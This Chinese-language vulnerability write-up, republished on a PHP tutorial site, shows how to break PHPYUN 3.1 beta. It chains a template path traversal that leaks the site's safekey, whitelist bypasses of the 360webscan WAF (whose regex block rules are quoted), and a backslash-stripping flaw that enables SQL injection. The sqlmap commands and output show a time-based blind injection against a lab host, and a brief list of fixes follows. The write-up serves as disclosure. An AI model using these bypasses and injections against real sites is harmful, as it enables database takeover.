网站地图    收藏   

主页 > 后端 > 网站安全 >

一步步击溃PHPYUN(另类方法绕过防注入)(含修复

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 由某处SQL注入引起,最终通过组合漏洞击溃PHPYUN测试版本:PHPYUN 3 1 GBK beta 20140728PHPYUN使用了两套waf,一套自己写的,一套360的,从第一套开始。 data db safety php:quotesGPC(); 效果:addsl...

由某处SQL注入引起,最终通过组合漏洞击溃PHPYUN

测试版本:PHPYUN 3.1 GBK beta 20140728


PHPYUN使用了两套waf,一套自己写的,一套360的,从第一套开始。

\data\db.safety.php:
 

quotesGPC(); // 效果:addslashes
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST  as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
foreach($_GET  as $id=>$v){

safesql($id,$v,"GET",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
if(!is_array($v))
$v=substr(strip_tags($v),0,80);

$_GET[$id]=common_htmlspecialchars($v);
}

foreach($_COOKIE  as $id=>$v){

safesql($id,$v,"COOKIE",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$v=substr(strip_tags($v),0,52);
$_COOKIE[$id]=common_htmlspecialchars($v);
}



首先通过quotesGPC()对输入进行addslashes,然后分别对$_GET/$_POST/$_COOKIE做同样的过滤($_POST为例):
 

safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);



但对$_POST做过滤时多了一个判断:
 

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST  as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}



当判断为真时进行过滤,为假则不过滤,而判断中的两个条件:
 

$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']



默认$config['sy_istemplate']=1,因此只要第二个条件为false就可以跳过对$_POST参数的过滤。

而第二个条件最关键的参数$config['sy_safekey']未知,它是在安装时随机生成的:

\install\index.php
 

$r=rand(10000000,99999999);
mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");



懒得穷举,可不可以用更优雅的方法拿到safekey?

搜索一下,看看有没有可能从其他地方泄露这个值,结果发现了好玩的东西:

\templates_c\%%8F^8F9^8F951B06%%admin_web_config.htm.php
 

<tr>
        <th width="160">系统安全码:</th>
        <td><input class="input-text tips_class" type="text" name="sy_safekey" id="sy_safekey" value="<?php echo $this->_tpl_vars['config']['sy_safekey']; ?>
" size="40" maxlength="255"/><font color="gray" style="display:none">系统部分功能使用的加密串,请自定义修改,如:986jhgyutw.*x</font></td>
        <td width="160">sy_safekey</td>
    </tr>



此处模板里会输出safekey,但是如果直接访问这个模板的话,会因为$this未定义而报错。

按照模板编译的风格,这个命名方式的模板应该是编译后的模板,来找到其对应的编译前模板:

\template\admin\admin_web_config.htm
 

<tr>
        <th width="160">系统安全码:</th>
        <td><input class="input-text tips_class" type="text" name="sy_safekey" id="sy_safekey" value="{yun:}$config.sy_safekey{/yun}" size="40" maxlength="255"/><font color="gray" style="display:none">系统部分功能使用的加密串,请自定义修改,如:986jhgyutw.*x</font></td>
        <td width="160">sy_safekey</td>
    </tr>



如果能让PHPYUN编译这个模板,拿到输出,safekey就到手了,因此需要找到可控的编译点:

\company\model\index.class.php:
 

function index_action(){
    if($this->uid!=$_GET['id']&&$_COOKIE['usertype']=='1'){
       ... ... ...
    }
    if($_POST['submit'])
    {
        ... ... ...
    }
    if($_POST['submit2'])
    {
       ... ... ...
    }
    ... ... ...
    $tp=$_GET['tp']?$_GET['tp']:"index";
    $this->seo("company_".$tp);
    $this->yunset("com_style",$this->config['sy_weburl']."/template/company/".$tplurl."/");
    $this->yunset("comstyle","../template/company/".$tplurl."/");
    $this->yunset("defaultstyle","../template/default/");
    $this->yuntpl(array('company/'.$tplurl."/".$tp));

}



在这里$_GET['tp']被传入到$tp然后进入$this->yuntpl(array('company/'.$tplurl."/".$tp)),yuntpl函数的主要作用是加载模板并编译输出它,所以只要控制$_GET['tp']为../../admin/admin_web_config就可以编译想要的模板了,试试:
 

4b1b7a51jw1ehkpk26ynwj20zh0pxtct.jpg



官方demo试试:
 

1.png



看到可爱的safekey了。

拿到safekey后,就能让前面判断的第二个条件为false,因此第一个waf就跳过了。

来到第二个waf,360的webscan:
 

if(is_file(LIB_PATH.'webscan360/360safe/360webscan.php')){
    require_once(LIB_PATH.'webscan360/360safe/360webscan.php');
}



在360webscan.php中还有又一轮的过滤: \include\webscan360\360safe\360webscan.php
 

//get拦截规则
$getfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



这些正则会被用在:
 

if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {

  if ($webscan_get) {

    foreach($_GET as $key=>$value) {
      webscan_StopAttack($key,$value,$getfilter,"GET"); // 对GET进行过滤
    }
  }
  if ($webscan_post) {
    foreach($_POST as $key=>$value) {
      webscan_StopAttack($key,$value,$postfilter,"POST"); // 对POST进行过滤
    }
  }
  if ($webscan_cookie) {
    foreach($_COOKIE as $key=>$value) {
      webscan_StopAttack($key,$value,$cookiefilter,"COOKIE"); // 对COOKIE进行过滤
    }
  }
  if ($webscan_referre) {
    foreach($webscan_referer as $key=>$value) {
      webscan_StopAttack($key,$value,$postfilter,"REFERRER"); // 对REFERER头进行过滤
    }
  }
}



而检测点的第一个if判断是可以跳过的:
 

if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {



$webscan_switch默认是1.

webscan_white($webscan_white_directory,$webscan_white_url)用来检查当前URL请求在不在白名单范围中,存在的话就不检查: \include\webscan360\360safe\360webscan.php:215
 

/**
 *  拦截目录白名单
 */
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
  $url_path=$_SERVER['PHP_SELF'];
  $url_var=$_SERVER['QUERY_STRING'];
  if (preg_match("/".$webscan_white_name."/is",$url_path)==1) {
    return false;
  }
  foreach ($webscan_white_url as $key => $value) {
    if(!empty($url_var)&&!empty($value)){
      if (stristr($url_path,$key)&&stristr($url_var,$value)) {
        return false;
      }
    }
    elseif (empty($url_var)&&empty($value)) {
      if (stristr($url_path,$key)) {
        return false;
      }
    }
  }

  return true;
}



webscan_white先判断请求url是否在白名单里,接下来判断请求的参数对是否在白名单里,白名单:
 

//后台白名单,后台操作将不会拦截,添加"|"隔开白名单目录下面默认是网址带 admin  /dede/ 放行
$webscan_white_directory='admin|\/dede\/|\/install\/';
//url白名单,可以自定义添加url白名单,默认是对phpcms的后台url放行
//写法:比如phpcms 后台操作url index.php?m=admin php168的文章提交链接post.php?job=postnew&step=post ,dedecms 空间设置edit_space_info.php
$webscan_white_url = array('index.php' => 'admin_dir=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');



这个白名单检测知道怎么绕过的人应该很多,只要让传入参数存在白名单目录或参数即可。 比如利用白名单目录: http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx 由于请求中包含了白名单目录/dede/,所以放行。 利用白名单参数: http://www.target.com/index.php?m=foo&c=bar&admin_dir=admin&id=1' and 1=2 union select xxx 同理,请求中包含了白名单参数所以放行。

绕过360waf后,接下来就进入程序逻辑,没有什么需要绕的了。

虽然绕了两个waf,但是还有一个quotesGPC()函数是生效的,quotesGPC()的作用:
 

function quotesGPC() {

if(!get_magic_quotes_gpc()){
 $_POST = array_map("addSlash", $_POST);
$_GET = array_map("addSlash", $_GET);
$_COOKIE = array_map("addSlash", $_COOKIE);
}

}
function addSlash($el) {
if (is_array($el))
return array_map("addSlash", $el);
else
return addslashes($el);
}



等同于一个addslashes_deep,想要绕过这个得结合具体漏洞点:

\wap\model\login.class.php:30
 

function index_action()
{
    $this->get_moblie(); // 通过UA判断是否是手机端
    if($this->uid || $this->username)
    {
        $this->wapheader('member/index.php'); //登陆用户跳转
    }
    if($_POST['submit'])
    {
        if($_POST['wxid'])
        {
            $wxparse = '&wxid='.$_POST['wxid'];
        }
        $usertype=$_POST['usertype']?intval($_POST['usertype']):1;
        $username = str_replace('\\','',$_POST['username']); // 漏洞点:过滤\
        if($usertype>0 && $username!='')
        {
            $userinfo = $this->obj->DB_select_once("member","`username`='".str_replace('\\','',$_POST['username'])."' and usertype='".$usertype."'","username,usertype,password,uid,salt");

    ... ... ...



由于str_replace('\\','',$_POST['username']);过滤了\,直接导致quotesGPC函数失效。

quotesGPC失效,单引号就可逃脱

safekey拿到,第一套过滤就可绕过

360webscan用白名单绕过

所以该处注入漏洞存在并无视防御

漏洞证明:

参数username为注册的用户名,参数usertype为注册的用户类型,然后用之前的方法获得safekey后,使用SQLMAP:
 

root@kali:/usr/share/sqlmap/tamper# sqlmap -u "http://192.168.254.136/phpyun/728/wap/index.php?m=login&c=index&admin_dir=admin" --data="submit=1&wxid=1&usertype=2&username=just4fun&safekey=53b6ad0cc21db28388507743269aa19d" --threads=10 --dbms=mysql -p username --risk=5 --level=3 --user-agent=iphone --flush-session

... ...
... ...
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 823 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: submit=1&wxid=1&usertype=2&username=just4fun' AND SLEEP(5) AND 'MPUx'='MPUx&safekey=53b6ad0cc21db28388507743269aa19d
---
[01:04:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.13, Apache 2.2.22
back-end DBMS: MySQL 5.0.11
[01:04:39] [INFO] fetched data logged to text files under './output/192.168.254.136'

[*] shutting down at 01:04:39



当前用户:
 

root@kali:/usr/share/sqlmap/tamper# sqlmap -u "http://192.168.254.136/phpyun/728/wap/index.php?m=login&c=index&admin_dir=admin" --data="submit=1&wxid=1&usertype=2&username=just4fun&safekey=53b6ad0cc21db28388507743269aa19d" --threads=10 --dbms=mysql -p username --risk=5 --level=3 --user-agent=iphone --current-user

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:09:14

[01:09:14] [WARNING] provided parameter 'username' is not inside the GET
[01:09:14] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://192.168.254.136:80/phpyun/728/wap/index.php'. Do you want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: submit=1&wxid=1&usertype=2&username=just4fun' AND SLEEP(5) AND 'MPUx'='MPUx&safekey=53b6ad0cc21db28388507743269aa19d
---
[01:09:15] [INFO] testing MySQL
[01:09:15] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[01:09:25] [INFO] confirming MySQL
[01:09:25] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
[01:09:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.13, Apache 2.2.22
back-end DBMS: MySQL >= 5.0.0
[01:09:35] [INFO] fetching current user
[01:09:35] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[01:09:35] [INFO] retrieved: root@localhost
current user:    'root@localhost'
[01:14:57] [INFO] fetched data logged to text files under './output/192.168.254.136'

[*] shutting down at 01:14:57

root@kali:/usr/share/sqlmap/tamper#

 

修复方案:

1、修复泄露safekey的问题

2、修复360webscan被绕过问题

3、修复注入

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论